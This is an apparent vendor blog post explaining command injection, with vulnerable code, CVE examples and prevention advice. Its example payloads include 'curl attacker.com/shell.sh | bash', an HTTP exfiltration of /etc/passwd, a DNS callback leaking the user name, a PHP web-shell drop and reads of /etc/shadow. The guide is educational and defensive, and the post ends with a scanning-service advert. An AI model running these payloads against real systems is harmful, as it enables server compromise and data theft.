Security Concepts9 min read8 October 2026

What Is Command Injection? Web Security Guide | Yrzo AI

Command injection lets attackers execute OS commands on your server through vulnerable web inputs. Learn how it works, real exploit examples, and how to prevent it.

By Yrzo AI — UK cybersecurity specialists

What Is Command Injection?

Command injection is a web application vulnerability that allows an attacker to execute arbitrary operating system commands on the server hosting the application. It occurs when user-supplied input is passed to a system shell without sufficient sanitisation — the application intends to run one command, but the attacker appends or substitutes additional commands that the shell executes with the same privileges as the web process.

Command injection is consistently listed in the OWASP Top 10 under Injection (A03:2021) and is one of the highest-severity vulnerability classes in web security. Successful exploitation typically results in full server compromise: the attacker can read any file, exfiltrate databases, establish persistent backdoors, pivot to internal networks, and destroy evidence of their presence. It is, in practical terms, one step from total loss of the affected system.

How Command Injection Happens

The Vulnerable Pattern

Command injection arises when an application constructs a shell command by concatenating user-supplied input directly into the command string:

```python import subprocess from flask import request

# VULNERABLE — user input embedded directly in shell command def ping_host(): host = request.args.get('host') result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True) return result.stdout ```

The developer's intent: accept a hostname, run `ping -c 1 <hostname>`, return output. What happens when an attacker provides:

``` host=8.8.8.8; cat /etc/passwd ```

The shell receives:

```bash ping -c 1 8.8.8.8; cat /etc/passwd ```

The semicolon is a shell command separator. Both commands execute. The ping runs as intended; then `cat /etc/passwd` dumps the server's password file to the attacker.

Shell Metacharacters

Attackers exploit the special characters that shells use to chain commands, redirect output, or substitute command results:

| Character | Meaning | Example payload | |---|---|---| | `;` | Command separator | `host; whoami` | | `&&` | Run second if first succeeds | `host && id` | | `||` | Run second if first fails | `invalid || id` | | `|` | Pipe output | `host | cat /etc/shadow` | | ````` | Command substitution | `host`id`` | | `$(...)` | Command substitution | `host $(id)` | | `\n` | Newline separator | `host%0aid` | | `&` | Background execution | `host & id` |

Different operating systems support different metacharacters. On Windows:

| Character | Meaning | |---|---| | `&` | Run commands sequentially | | `&&` | Run second if first succeeds | | `|` | Pipe | | `||` | Run second if first fails |

Real-World Command Injection Examples

CVE-2021-41773 — Apache HTTP Server

One of the most dramatic recent examples of command injection in widely-deployed software. Apache HTTP Server 2.4.49 contained a path traversal vulnerability that, when combined with mod_cgi being enabled, allowed unauthenticated remote code execution via a crafted URL:

``` POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 7

echo;id ```

Thousands of Apache servers were actively exploited within days of disclosure. The combination of path traversal enabling access to `/bin/sh` and CGI enabling its execution as a command processor made this a textbook command injection chain.

CVE-2022-1388 — F5 BIG-IP iControl REST

The F5 BIG-IP authentication bypass allowed attackers to send requests to the iControl REST API as an administrative user. The API endpoint accepted system commands that were passed to the underlying Linux shell, giving attackers command injection on a class of network appliances that often sit on the boundary of enterprise networks. Exploited in the wild within days of public disclosure.

Ping / Traceroute / DNS Lookup Features

Network diagnostic features built into web applications are a classic command injection vector. Any web interface that runs `ping`, `nslookup`, `traceroute`, `dig`, `whois`, or similar tools based on user-supplied input is a candidate.

Router admin panels, hosting control panels (cPanel, Plesk), and network monitoring dashboards have all historically contained command injection in diagnostic features.

Image Processing and File Conversion

Applications that process user-uploaded files by passing them to command-line tools are another common source:

```python # VULNERABLE — filename from user upload embedded in ImageMagick command os.system(f"convert {upload_path}/{filename} -resize 800x600 {output_path}/{filename}") ```

If the filename contains shell metacharacters — `photo.jpg; curl attacker.com/shell.sh | bash` — the injected command executes. ImageMagick has its own long history of command injection vulnerabilities (ImageTragick, CVE-2016-3714) that extend this risk further.

Log Parsing and Monitoring Tools

Custom log parsing scripts that call `grep`, `awk`, `sed`, or `tail` with user-controlled arguments are vulnerable when those arguments are passed through a shell:

```bash grep "$user_search_term" /var/log/app.log ```

Input of `legitimate_term" /etc/shadow "ignored` rewrites the grep to target `/etc/shadow` instead of the intended log file.

Blind Command Injection

In many real-world cases, command output isn't returned to the attacker directly. The ping example above returns output, but many vulnerable endpoints process commands in the background without reflecting results. This is blind command injection.

Attackers detect and exploit it through:

Time-Based Detection

``` host=127.0.0.1; sleep 10 ```

If the response takes 10 seconds longer than usual, the `sleep` command executed — confirming injection.

Out-of-Band Exfiltration

DNS callbacks using tools like Burp Collaborator or interactsh:

``` host=127.0.0.1; nslookup $(whoami).attacker-callback.com ```

The DNS query for `<current-user>.attacker-callback.com` is logged by the attacker's server, confirming both injection and leaking the process user identity.

HTTP callbacks for data exfiltration:

``` host=127.0.0.1; curl http://attacker.com/collect?data=$(cat /etc/passwd | base64) ```

File Write

If the web server can write to the document root:

``` host=127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php ```

This drops a web shell that gives persistent, interactive command execution through a browser.

Privilege Escalation After Initial Command Injection

Initial command injection typically runs as the web server process user — `www-data`, `nginx`, `apache`, or a dedicated app user. This is significant privilege but rarely root. Attackers commonly chain command injection with:

- **SUID binary abuse** — finding binaries with the SUID bit set that can be used to escalate to root - **Sudo misconfiguration** — web process users sometimes have sudo rules allowing specific commands that can be leveraged - **Kernel exploits** — an unpatched kernel on the host enables privilege escalation independent of the web application - **Credential files** — reading `.env` files, configuration files, and database credentials, then reusing them to access other systems

How to Prevent Command Injection

Never Pass User Input to a Shell

The most effective mitigation is architectural: don't construct shell commands from user input at all. Most operations that developers implement via shell commands have native library equivalents:

```python # WRONG — shell=True with user input subprocess.run(f"ping -c 1 {host}", shell=True)

# RIGHT — pass arguments as a list, no shell interpretation subprocess.run(["ping", "-c", "1", host], shell=False) ```

With `shell=False` and arguments as a list, shell metacharacters in `host` are passed as literal characters to the `ping` binary — not interpreted by a shell. An input of `8.8.8.8; id` becomes the hostname `8.8.8.8; id` (which will fail to resolve, not execute `id`).

Use Native Language APIs Instead of Shell Commands

| Task | Shell (vulnerable) | Native API (safe) | |---|---|---| | List directory | `os.system("ls " + path)` | `os.listdir(path)` | | Read file | `os.system("cat " + file)` | `open(file).read()` | | DNS lookup | `os.system("nslookup " + host)` | `socket.gethostbyname(host)` | | Send email | `os.system("sendmail " + addr)` | SMTP library |

Input Validation

If you must pass input to a shell command, validate it strictly before use. For a hostname: verify it matches `^[a-zA-Z0-9.-]+$` and reject anything else. Allowlists are far more reliable than denylists — there are too many shell metacharacter variants to block exhaustively.

Principle of Least Privilege

Run your web application as a dedicated low-privilege user. If command injection is exploited, the attacker's initial foothold is limited. Don't run web processes as root. Use read-only filesystem mounts where possible. Restrict outbound network access so DNS and HTTP callbacks fail.

Web Application Firewall

A WAF can block common command injection payloads at the perimeter. It's a layer of defence, not a fix — WAFs are routinely bypassed by encoding, case variation, and novel payload construction — but they raise the effort required.

Testing for Command Injection

Yrzo AI's continuous automated scanning tests all user-input fields, URL parameters, file upload handlers, and API endpoints for command injection indicators — including time-based blind injection and callback-based detection. Because command injection leads directly to server compromise, findings are classified as critical severity and flagged for immediate remediation.

**[Test your application for command injection → Start free at yrzoai.dev](https://yrzoai.dev)**

One unvalidated input field that reaches a shell call is all it takes. Continuous testing catches them before an attacker does.

Find out if your website has these vulnerabilities

Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.

Scan your website →